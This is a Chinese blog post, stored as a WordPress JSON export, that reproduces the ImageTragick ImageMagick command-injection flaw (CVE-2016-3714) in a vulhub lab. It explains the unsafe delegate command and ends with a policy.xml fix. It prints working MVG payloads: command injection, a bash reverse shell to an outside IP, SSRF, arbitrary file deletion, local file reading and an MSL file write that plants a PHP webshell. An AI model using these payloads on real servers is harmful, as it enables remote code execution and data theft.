{"id":371,"date":"2021-10-19T08:57:14","date_gmt":"2021-10-19T08:57:14","guid":{"rendered":"http:\/\/www.nokws.top\/?p=371"},"modified":"2021-11-19T09:13:03","modified_gmt":"2021-11-19T09:13:03","slug":"tiankengerimagetragick-minglingzhixingloudongcve-20163714","status":"publish","type":"post","link":"http:\/\/www.nokws.top\/index.php\/2021\/10\/19\/tiankengerimagetragick-minglingzhixingloudongcve-20163714\/","title":{"rendered":"\u6f0f\u6d1e\u590d\u73b0 Imagetragick \u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CVE-2016\u20133714\uff09"},"content":{"rendered":"\n

\u505a\u4e00\u4e2a\u5e26\u6709poc\u7684mvg\u56fe\u7247\u6216\u8005png\u56fe\u7247\u7136\u540e\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7aef\uff08\u5934\u50cf\u66f4\u6539\u4e4b\u7c7b\u7684\uff09\u3002<\/span><\/strong><\/p>\n\n\n\n

ImageMagick\u662f\u4e00\u6b3e\u4f7f\u7528\u91cf\u5f88\u5e7f\u7684\u56fe\u7247\u5904\u7406\u7a0b\u5e8f\uff0c\u5f88\u591a\u5382\u5546\u90fd\u8c03\u7528\u4e86\u8fd9\u4e2a\u7a0b\u5e8f\u8fdb\u884c\u56fe\u7247\u5904\u7406\uff0c\u5305\u62ec\u56fe\u7247\u7684\u4f38\u7f29\u3001\u5207\u5272\u3001\u6c34\u5370\u3001\u683c\u5f0f\u8f6c\u6362\u7b49\u7b49\u3002<\/p>\n\n\n\n

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u662f\u51fa\u5728 ImageMagick \u5bf9 https \u5f62\u5f0f\u7684\u6587\u4ef6\u5904\u7406\u7684\u8fc7\u7a0b\u4e2d\u3002<\/p>\n\n\n\n

ImageMagick \u4e4b\u6240\u4ee5\u652f\u6301\u90a3\u4e48\u591a\u7684\u6587\u4ef6\u683c\u5f0f, \u662f\u56e0\u4e3a\u5b83\u5185\u7f6e\u4e86\u975e\u5e38\u591a\u7684\u56fe\u50cf\u5904\u7406\u5e93, \u5bf9\u4e8e\u8fd9\u4e9b\u56fe\u50cf\u5904\u7406\u5e93, ImageMagick \u7ed9\u5b83\u8d77\u4e86\u4e2a\u540d\u5b57\u53eb\u505a\u201dDelegate\u201d(\u59d4\u6258), \u6bcf\u4e2a Delegate \u5bf9\u5e94\u4e00\u79cd\u683c\u5f0f\u7684\u6587\u4ef6, \u7136\u540e\u901a\u8fc7\u7cfb\u7edf\u7684 system() \u547d\u4ee4\u6765\u8c03\u7528\u5916\u90e8\u7684 lib \u8fdb\u884c\u5904\u7406\u3002\u8c03\u7528\u5916\u90e8 lib \u7684\u8fc7\u7a0b\u662f\u4f7f\u7528\u7cfb\u7edf\u7684 system \u547d\u4ee4\u6765\u6267\u884c\u7684\uff0c\u5bfc\u81f4\u547d\u4ee4\u6267\u884c\u7684\u4ee3\u7801\u3002<\/p>\n\n\n\n

ImageMagick \u59d4\u6258\u7684\u9ed8\u8ba4\u914d\u7f6e\u6587\u4ef6\uff1a \/etc\/ImageMagick\/delegates.xml\uff0c\u7c7b\u4f3c\u4ee5\u4e0b\u8fd9\u79cd\u5b9a\u4e49\u683c\u5f0f\uff1a<\/p>\n\n\n\n

\u6bd4\u5982\u9488\u5bf9https\u662f\u7684delegate\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
wget\"-q -O\"%o\"\"https:%M\n<\/pre>\n\n\n\n
\u5b9e\u9645\u4e0a\u7684command\u4e2d\u7684%m\u610f\u601d\u662f\u8f93\u5165\u7684 url \u5730\u5740\uff0c\u4f46\u662f\u7531\u4e8e\u53ea\u662f\u505a\u4e86\u7b80\u5355\u7684\u5b57\u7b26\u4e32\u62fc\u63a5, \u6ca1\u6709\u505a\u4efb\u4f55\u8fc7\u6ee4\uff0c\u76f4\u63a5\u62fc\u63a5\u5230 command \u547d\u4ee4\u4e2d\uff0c\u53ef\u4ee5\u5c06\u5f15\u53f7\u95ed\u5408\u540e\u901a\u8fc7 “|”,\u201d`\u201d,\u201d&\u201d \u7b49\u5e26\u5165\u5176\u4ed6\u547d\u4ee4, \u4e5f\u5c31\u5f62\u6210\u4e86\u547d\u4ee4\u6ce8\u5165\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6bd4\u5982\u4f20\u5165\u4ee5\u4e0b\u4ee3\u7801\uff1a<\/p>\n\n\n\n
https:\/\/example.com\"|ls\"-al\n<\/pre>\n\n\n\n
\u5c06\u5f62\u6210\uff1a<\/p>\n\n\n\n
\"wget\" -q -O \"%o\" \"https:\/\/example.com\"|ls \"-al\"\n<\/pre>\n\n\n\n
\u8fd9\u6837\u5c06\u6210\u529f\u6267\u884c\u547d\u4ee4\u3002<\/p>\n\n\n\n
\u7528vulhub\u4e0a\u7684\u73af\u5883\u8fdb\u884c\u6d4b\u8bd5\uff0cvul.jpg\u7684\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
push \u548c pop \u662f\u7528\u4e8e\u5806\u6808\u7684\u64cd\u4f5c\uff0c\u4e00\u4e2a\u8fdb\u6808\uff0c\u4e00\u4e2a\u51fa\u6808;\nviewbox \u662f\u8868\u793a SVG \u53ef\u89c1\u533a\u57df\u7684\u5927\u5c0f\uff0c\u6216\u8005\u53ef\u4ee5\u60f3\u8c61\u6210\u821e\u53f0\u5927\u5c0f\uff0c\u753b\u5e03\u5927\u5c0f\u3002\u7b80\u5355\u7406\u89e3\u5c31\u662f\u6839\u636e\u540e\u9762\u5f97\u53c2\u6570\u9009\u53d6\u5176\u4e2d\u5f97\u4e00\u90e8\u5206\u753b\u9762;\nfill url() \u662f\u628a\u56fe\u7247\u586b\u5145\u5230\u5f53\u524d\u5143\u7d20\u5185;\n\u5728\u5176\u4e2d\u6211\u4eec\u4f7f\u7528\u4e86 fill url() \u7684\u5f62\u5f0f\u8c03\u7528\u5b58\u5728\u6f0f\u6d1e\u7684 https delegate, \u5f53 ImageMagick \u53bb\u5904\u7406\u8fd9\u4e2a\u6587\u4ef6\u65f6, \u6f0f\u6d1e\u5c31\u4f1a\u88ab\u89e6\u53d1\u3002\n<\/pre>\n\n\n\n
\u4ee5\u4e0a\u662f\u5bf9payload\u7684\u89e3\u91ca<\/p>\n\n\n\n
ImageMagick \u9ed8\u8ba4\u652f\u6301\u4e00\u79cd\u56fe\u7247\u683c\u5f0f\uff0c\u53eb mvg\uff0c\u800c mvg \u4e0e svg \u683c\u5f0f\u7c7b\u4f3c\uff0c\u5176\u4e2d\u662f\u4ee5\u6587\u672c\u5f62\u5f0f\u5199\u5165\u77e2\u91cf\u56fe\u7684\u5185\u5bb9\uff0c
\u5141\u8bb8\u5728\u5176\u4e2d\u52a0\u8f7d ImageMagick \u4e2d\u5176\u4ed6\u7684delegate(\u6bd4\u5982\u5b58\u5728\u6f0f\u6d1e\u7684 https delegate)\u3002\u5e76\u4e14\u5728\u56fe\u5f62\u5904\u7406\u7684\u8fc7\u7a0b\u4e2d, 
ImageMagick \u4f1a\u81ea\u52a8\u6839\u636e\u5176\u5185\u5bb9\u8fdb\u884c\u5904\u7406, \u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u53ef\u4ee5\u5c06\u6587\u4ef6\u968f\u610f\u5b9a\u4e49\u4e3a png\u3001jpg \u7b49\u7f51\u7ad9\u4e0a\u4f20\u5141\u8bb8\u7684\u683c\u5f0f, \u8fd9\u5927\u5927\u589e\u52a0\u4e86\u6f0f\u6d1e\u7684\u53ef\u5229\u7528\u573a\u666f\u3002\n<\/pre>\n\n\n\n
\u8fd9\u91cc\u6211\u4eec\u76f4\u63a5\u901a\u8fc7\u53cd\u5f15\u53f7\u6765\u6267\u884c\u4e86\u547d\u4ee4<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e5f\u53ef\u4ee5\u66f4\u6539payload\u7528\u6765\u53cd\u5f39shell\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
image over\u8fd9\u4e2apayload\u5f39shell\u548ccurl\u8c8c\u4f3c\u4e0d\u80fd\u56de\u663e\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\uff0c\u5f97\u6362\u4e2apayload\uff1a<\/p>\n\n\n\n
nc.png\u5185\u5bb9\u4e3a\uff1a<\/p>\n\n\n\n
push graphic-context\nviewbox 0 0 640 480\nfill 'url(https:\/\/example.com\/1.jpg\"|bash -i >& \/dev\/tcp\/45.xxx.xxx.23\/2233 0>&1\")'\npop graphic-context\n<\/pre>\n\n\n\n
\u5176\u4ed6\u51e0\u4e2a\u76f8\u5173CVE\u7684poc\uff1a<\/p>\n\n\n\n
CVE-2016-3718<\/h3>\n\n\n\n
\u5229\u7528mvg\u683c\u5f0f\u4e2d\u53ef\u4ee5\u5305\u542burl\u7684\u7279\u70b9\uff0c\u8fdb\u884cSSRF\u653b\u51fb\uff0cPOC\u5982\u4e0b\uff1a<\/p>\n\n\n\n
push graphic-context\nviewbox 0 0 640 480\nfill 'url(http:\/\/example.com\/)'\npop graphic-context\n<\/pre>\n\n\n\n
CVE-2016-3715<\/h3>\n\n\n\n
\u5229\u7528ImageMagick\u652f\u6301\u7684ephemeral\u534f\u8bae\uff0c\u6765\u5220\u9664\u4efb\u610f\u6587\u4ef6\uff1a<\/p>\n\n\n\n
push graphic-context\nviewbox 0 0 640 480\nimage over 0,0 0,0 'ephemeral:\/tmp\/delete.txt'\npopgraphic-context\n<\/pre>\n\n\n\n
CVE-2016-3716<\/h3>\n\n\n\n
\u5229\u7528ImageMagick\u652f\u6301\u7684msl\u534f\u8bae\uff0c\u6765\u8fdb\u884c\u6587\u4ef6\u7684\u8bfb\u53d6\u548c\u5199\u5165\u3002\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u5c06\u4efb\u610f\u6587\u4ef6\u5199\u4e3a\u4efb\u610f\u6587\u4ef6\uff0c\u6bd4\u5982\u5c06\u56fe\u7247\u5199\u4e3a\u4e00\u4e2a.php\u540e\u7f00\u7684webshell\u3002<\/p>\n\n\n\n
file_move.mvg\n-=-=-=-=-=-=-=-=-\npush graphic-context\nviewbox 0 0 640 480\nimage over 0,0 0,0 'msl:\/tmp\/msl.txt'\npopgraphic-context\n\n\/tmp\/msl.txt\n-=-=-=-=-=-=-=-=-\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<image>\n<read filename=\"\/tmp\/image.gif\" \/>\n<write filename=\"\/var\/www\/shell.php\" \/>\n<\/image>\n<\/pre>\n\n\n\n
CVE-2016-3717<\/h3>\n\n\n\n
\u53ef\u4ee5\u9020\u6210\u672c\u5730\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff1a<\/p>\n\n\n\n
push graphic-context\nviewbox 0 0 640 480\nimage over 0,0 0,0 'label:@\/etc\/hosts'\npop graphic-context\n<\/pre>\n\n\n\n
PHP\u6269\u5c55\u300eImageMagick\u300f\u4e5f\u5b58\u5728\u8fd9\u4e2a\u95ee\u9898\uff0c\u800c\u4e14\u53ea\u9700\u8981\u8c03\u7528\u4e86Imagick\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\uff0c\u5373\u53ef\u89e6\u53d1\u8fd9\u4e2a\u6f0f\u6d1e\uff0cpoc\u4e0e\u4e0a\u9762\u8bf4\u7684\u4e00\u6837\u3002<\/p>\n\n\n\n
<?php\nnew Imagick('vul.gif');\n<\/pre>\n\n\n\n
\u8fd9\u91cc\u56e0\u4e3a\u547d\u4ee4\u7ed3\u679c\u662f\u4e0d\u56de\u663e\u7684\uff0c\u6240\u4ee5\u9700\u8981\u5e26\u5916\u4fe1\u9053\uff0c\u6bd4\u5982ceye<\/p>\n\n\n\n
\u4fee\u590d\uff1a<\/h3>\n\n\n\n
1.\u5347\u7ea7\u6216\u4f7f\u7528php\u7684GD\u5e93<\/p>\n\n\n\n
2.\u4f7f\u7528policy file\u6765\u9632\u5fa1\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u8fd9\u4e2a\u6587\u4ef6\u9ed8\u8ba4\u4f4d\u7f6e\u5728 \/etc\/ImageMagick\/policy.xml \uff0c\u6211\u4eec\u901a\u8fc7\u914d\u7f6e\u5982\u4e0b\u7684xml\u6765\u7981\u6b62\u89e3\u6790https\u7b49\u654f\u611f\u64cd\u4f5c\uff1a<\/p>\n\n\n\n
<policymap>\n<policy domain=\"coder\" rights=\"none\" pattern=\"EPHEMERAL\" \/>\n<policy domain=\"coder\" rights=\"none\" pattern=\"URL\" \/>\n<policy domain=\"coder\" rights=\"none\" pattern=\"HTTPS\" \/>\n<policy domain=\"coder\" rights=\"none\" pattern=\"MVG\" \/>\n<policy domain=\"coder\" rights=\"none\" pattern=\"MSL\" \/>\n<\/policymap> <\/pre>\n\n\n\n
\u53c2\u8003\u6587\u7ae0\uff1a<\/h3>\n\n\n\n
CVE-2016-3714 – ImageMagick \u547d\u4ee4\u6267\u884c\u5206\u6790 | \u79bb\u522b\u6b4c (leavesongs.com)<\/a><\/p>\n\n\n\n
Imagetragick \u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CVE-2016\u20133714\uff09 – tr1ple – \u535a\u5ba2\u56ed (cnblogs.com)<\/a><\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u505a\u4e00\u4e2a\u5e26\u6709poc\u7684mvg\u56fe\u7247\u6216\u8005png\u56fe\u7247\u7136\u540e\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7aef\uff08\u5934\u50cf\u66f4\u6539\u4e4b\u7c7b\u7684\uff09\u3002 ImageMagick\u662f\u4e00\u6b3e […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-371","post","type-post","status-publish","format-standard","hentry","category-loudongzongjie"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/comments?post=371"}],"version-history":[{"count":3,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/371\/revisions"}],"predecessor-version":[{"id":394,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/371\/revisions\/394"}],"wp:attachment":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/media?parent=371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/categories?post=371"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/tags?post=371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}